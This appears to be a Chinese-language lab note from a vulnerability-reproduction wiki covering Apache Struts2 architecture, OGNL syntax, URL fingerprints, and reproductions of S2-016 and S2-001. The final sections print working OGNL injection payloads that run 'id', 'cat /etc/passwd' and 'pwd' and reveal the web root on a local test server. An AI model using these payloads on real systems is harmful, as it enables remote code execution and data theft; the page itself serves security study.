漏洞复现
Vulhub-漏洞环境搭建
1panel
Bash
Tomcat
Siro框架漏洞
Apache Struts2
Apache 中间件
ThinkPHP框架漏洞
MySQL写入shell
Redis
MySQL提权
Fastjson反序列化漏洞
Spring
Jenkins
WebLogic
-
+
首页
Apache Struts2
 ## Struts2 ### 概述 2007 年 Apache 将 WebWork 与 Struts1 整合,推出 Struts2.0,保留了 WebWork 的拦截器、OGNL 等核心机制,同时吸收了 Struts1 的部分配置风格。 作为 “请求驱动型” MVC 框架,Struts2 专注于解决传统 Java Web 开发中 Servlet 与 JSP 代码混杂、请求处理逻辑分散的问题,通过统一的流程控制和数据处理机制,实现业务逻辑与视图展示的解耦。 随着 Spring MVC 等现代框架的崛起,Struts2 的市场份额逐渐下降,Apache 已于 2023 年宣布停止对其主要版本的更新(仅保留安全补丁至 2024 年),但仍广泛存在于 legacy 系统中。 ### 架构 Struts2 的架构以 “过滤器为入口、Action 为核心、拦截器为增强、值栈为数据中枢” 为特点,严格遵循 MVC 模式: > Model(模型) 负责数据存储与业务逻辑,包含两类核心组件: 数据模型: - 以 POJO(普通 Java 对象)为载体,存储业务数据(如用户信息、订单数据); - 借助ValueStack(值栈) 临时存储请求参数、Action 属性及业务处理结果,作为页面与后端数据交互的 “中转站”。 业务模型: 由 Service 层(处理核心业务逻辑)和 DAO 层(数据访问)组成,与 Struts2 框架本身松耦合,可独立于框架存在。 > View(视图) 负责页面展示,支持多种技术并提供专用标签库: 支持的视图技术:JSP(最常用)、Freemarker、Velocity、JSON 等,可通过配置灵活切换。 Struts2 标签库:简化视图层开发,按功能分为: - 表单标签(如\<s:form>、\<s:textfield>):自动绑定值栈数据,简化表单提交与回显; - 数据标签(如\<s:property>、\<s:iterator>):通过 OGNL 表达式访问值栈数据; - 控制标签(如\<s:if>、\<s:else>):实现页面逻辑判断。 > Controller(控制器) 负责请求分发与流程控制,核心组件包括: StrutsPrepareAndExecuteFilter:框架的 “入口过滤器”,拦截所有符合规则的请求(默认拦截/),分为两个阶段: - Prepare阶段:加载配置文件(struts.xml、属性文件等)、初始化值栈; - Execute阶段:调用拦截器链、执行 Action 方法、处理结果跳转。 Action:处理具体请求的核心类,本质是 POJO(无需继承特定父类或实现接口),主要职责: - 接收请求参数(通过属性自动封装,依赖params拦截器); - 调用 Service 层业务逻辑; - 返回结果视图名称(如success、error),由框架根据配置跳转至对应视图。 ### 核心组件 > 拦截器(Interceptor) Struts2 的 “灵魂特性”,基于责任链模式实现,在 Action 执行前后插入通用逻辑(无需修改 Action 代码)。 工作原理:多个拦截器组成 “拦截器链”,按配置顺序执行(如先执行日志记录,再执行登录验证),最终调用 Action 的目标方法。 常用内置拦截器: - params:自动将请求参数封装到 Action 属性; - validation:执行输入验证(基于 XML 或注解); - exception:捕获 Action 执行中的异常并处理; - timer:记录 Action 执行时间。 > OGNL(对象图导航语言) Struts2 的数据交互 “桥梁”,是一种表达式语言,用于: - 访问值栈中的数据(如user.name获取用户姓名); - 实现页面与 Action 的双向数据绑定(表单提交时自动封装,页面渲染时自动取值); - 支持复杂操作(如集合遍历、方法调用)。 > 配置文件 Struts2 通过配置文件定义请求映射、拦截器、结果跳转等规则,核心配置包括: - struts.xml:全局核心配置,定义 Action 映射(\<action>标签)、拦截器引用(\<interceptor-ref>)、结果视图(\<result>)等; - struts.properties:配置框架属性(如是否开发模式、文件上传大小限制); - 注解配置:替代 XML,通过@Action、@Result等注解直接在 Action 类上定义映射规则(Struts2.1 + 支持)。 > 值栈(ValueStack) Struts2 的数据存储中心,本质是一个栈结构,包含: - Action 对象:当前执行的 Action 实例(栈顶元素); - 临时对象:请求参数、业务处理结果等; - 所有视图层标签和 OGNL 表达式默认访问值栈中的数据,无需手动传递参数。 ### OGNL OGNL(Object-Graph Navigation Language,对象图导航语言)是一种功能强大的表达式语言,主要用于访问和操作 Java 对象的属性、方法、集合等,支持复杂的对象图导航(即通过链式调用访问嵌套对象的属性)。 OGNL 的本质是 “对象操作的表达式引擎”,目标是简化 Java 对象的访问逻辑。传统 Java 中访问对象属性需要通过getter/setter方法,而 OGNL 通过表达式(如user.address.city)即可直接导航到嵌套对象的属性,无需手动编写多层方法调用,大幅简化了代码。 OGNL 是 Struts2 的数据交互 “神经中枢”,与框架深度绑定。 > OGNL 表达式 GNL 表达式是用于访问和操作 Java 对象的表达式语言,核心是通过简洁语法实现对象图导航(如嵌套属性访问、方法调用等)。 访问: | 功能 | 表达式示例 | 说明 | | ------------------ | --------------------------- | ------------------------------------------------------------ | | 访问简单属性 | user.name | 访问user对象的name属性(自动调用user.getName()) | | 访问嵌套属性 | user.address.city | 链式访问user的address属性的city值(user.getAddress().getCity()) | | 调用实例方法 | user.getName().length() | 调用user.name的length()方法(获取姓名长度) | | 调用静态方法 | @java.lang.Math@max(10, 20) | 调用Math类的静态方法max(10,20),结果为 20 | | 访问 List 元素 | users[0].age | 访问users集合(List)第 1 个元素的age属性 | | 访问 Map 元素 | userMap["admin"].role | 访问userMap中键为 "admin" 的对象的role属性 | | 集合过滤(取成年) | users.{? #this.age > 18} | 筛选users中年龄 > 18 的元素(#this代表集合当前元素) | OGNL 中有多个特殊符号,用于标识上下文、静态成员等: | 符号 | 用途说明 | 示例 | | ---- | ------------------------------------------------------------ | ------------------------------------------------------------ | | # | 1. 访问上下文变量(如#session);<br />2. 集合过滤中代表当前元素(#this)。 | #request.msg → 访问 request 域的msg;users.{? #this.age>18} | | @ | 访问静态成员(静态方法 / 属性),格式为@全类名@成员。 | @java.lang.Math@PI → 访问Math类的PI常量 | | $ | 1. Struts2 配置文件中标识 OGNL 表达式(如${#request.msg});<br />2. 集合过滤中取最后一个符合条件的元素。 | ${#session.user.name}(配置文件中);users.{$ #this.age>18} | | % | Struts2 标签中强制解析 OGNL 表达式(用于默认不解析的场景)。 | <s:textfield value="%{#request.defaultName}"/> → 解析 request 中的值 | 其中:${}用于告诉框架:包裹的内容是 OGNL 表达式,需要解析执行。 ## 路径特征 Struts2 框架的路径特征主要体现在 URL 结构、请求后缀、命名空间映射等方面,这些特征可用于识别应用是否基于 Struts2 开发。 > 默认请求后缀:.action 或 .do Struts2 的请求默认通过特定后缀映射到 Action,这是最显著的路径特征。 默认配置:框架默认使用 .action 作为请求后缀(如 login.action),对应 struts.xml 中 Action 的name属性。 可选后缀:可通过struts.properties或struts.xml配置其他后缀(如 .do,兼容 Struts1 的习惯),配置示例: ```xml <constant name="struts.action.extension" value="action,do" /> ``` 路径示例:访问名为login的 Action:`http://xxx.com/login.action` 或 `http://xxx.com/login.do` > 命名空间(namespace)在 URL 中的体现 Struts2 通过namespace对 Action 进行分组,命名空间会直接反映在 URL 路径中,格式为: ```url http://域名/[命名空间]/[Action名称].[后缀] ``` 规则: - 若namespace配置为/user,则访问该命名空间下的loginAction 的路径为:`http://xxx.com/user/login.action`; - 若namespace为根路径(/),则路径为:`http://xxx.com/login.action`; - 若未显式配置namespace,默认使用空命名空间,路径为:`http://xxx.com/login.action`(与根路径类似,但底层处理逻辑有差异)。 ```xml <package name="user" namespace="/user" extends="struts-default"> <action name="login" class="com.example.UserLoginAction"> <result>/login.jsp</result> </action> </package> ``` 对应访问路径:`http://xxx.com/user/login.action` > Action 名称直接作为路径片段 Struts2 的 URL 路径中,Action 的name属性直接作为路径的一部分(位于命名空间之后、后缀之前),无需像 Servlet 那样显式配置映射路径。 例如: - Action 的name为register,则路径中必然包含register(如/register.action); - 复杂 Action 名称(如user-info)会直接出现在路径中:/user-info.action。 > 重定向 / 转发路径的特征 Struts2 处理redirect(重定向)或dispatcher(转发)结果时,路径可能包含动态参数或 OGNL 表达式痕迹(尤其在漏洞场景中)。 - 正常场景:重定向路径可能为固定页面或其他 Action,如: ```url http://xxx.com/login.action?redirect=/index.jsp ``` - 漏洞场景:如 S2-016 漏洞中,重定向路径包含用户可控参数,可能出现 OGNL 表达式片段,如: ```url http://xxx.com/test.action?url=${恶意表达式} ``` ## S2-016远程代码执行漏洞 ### 漏洞概述 在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或者是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令 本质:用户输入未过滤导致的 OGNL 表达式注入 ### 漏洞原理 Struts2 的 “结果(Result)” 机制用于定义 Action 执行后的跳转行为(如转发到 JSP、重定向到 URL 等)。其中,redirect和redirectAction是两种常见的结果类型,用于实现 HTTP 重定向(302跳转)。 为支持 “动态跳转路径”(如根据用户参数动态生成跳转 URL),Struts2 在处理redirect/redirectAction结果时,会对配置中的location(跳转路径)、namespace(命名空间)、actionName(目标 Action 名称)等参数进行OGNL 表达式解析。 例如: ```xml <action name="redirectAction" class="com.example.RedirectAction"> <!-- 结果类型为redirect,location参数值通过OGNL表达式动态获取 --> <result type="redirect">${param.targetUrl}</result> </action> ``` 其中${param.targetUrl}的含义是 “从请求参数(param)中获取targetUrl的值,并作为跳转路径”。此时,Struts2 会将targetUrl参数的值当作 OGNL 表达式解析,而非单纯的字符串。 触发条件: 1. 结果类型为redirect或redirectAction; 2. 结果的配置参数(如location)包含用户可控的输入(如 URL 参数、表单字段等); 3. 框架未对用户输入进行 OGNL 特殊字符过滤(如${、#、@等),直接将输入作为表达式解析。 攻击者利用上述逻辑,可构造包含恶意命令的 OGNL 表达式作为targetUrl参数的值。当 Struts2 解析该表达式时,恶意命令会被执行,最终实现远程代码执行。 ### 漏洞版本 Struts 2.0.0 - 2.3.15 ### 漏洞复现 1、环境搭建:   2、输入Payload: 执行的命令是id ```url http://127.0.0.1:8080/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D ``` 观察URL回显:  执行的命令是cat /etc/passwd ```url http://127.0.0.1:8080/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat /etc/passwd%27%29.getInputStream%28%29%29%7D ```  ## S2-001 远程代码执行漏洞 ### 漏洞描述 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。 例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。 ``` OGNL表达式,OGNL 是 Object Graphic Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言,使用它可以存取对象的任意属性,调用对象的方法,使用 OGNL 表达式的主要作用是简化访问对象中的属性值,但Struts2漏洞就源于OGNL。 ```  ### 漏洞版本 Struts 2.0.0 - Struts 2.0.8 ### 漏洞复现  对该页面进行抓取数据包,获取web路径 POC: ``` %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()} ``` 进行url编码后在执行  执行系统命令 ``` %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} ``` 先进行URL编码再进行执行 显示当前路径 
毛林
2025年11月1日 14:17
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码